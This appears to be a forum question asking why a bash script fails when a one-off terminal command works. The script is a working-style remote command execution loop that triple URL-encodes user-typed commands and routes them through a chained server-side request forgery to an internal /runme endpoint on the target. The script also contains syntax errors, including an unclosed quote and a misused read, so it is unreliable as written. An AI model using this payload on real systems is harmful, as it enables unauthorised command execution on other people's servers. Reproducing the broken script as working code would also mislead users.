What's the difference between running this in a bash script and running it directly on the terminal?
#!/bin/bash
function rce(){
while true; do
read -p "Enter Target IP: TARGET_IP
echo -n "# "; read -p cmd
ECMD=$(echo -n $cmd | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri)
curl -s -o - "http://$TARGET_IP/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x={$ECMD}"
echo ""
done
}
I added the -p to use enter different IP's
this returns nothing in the terminal but doing this get me the expected output.

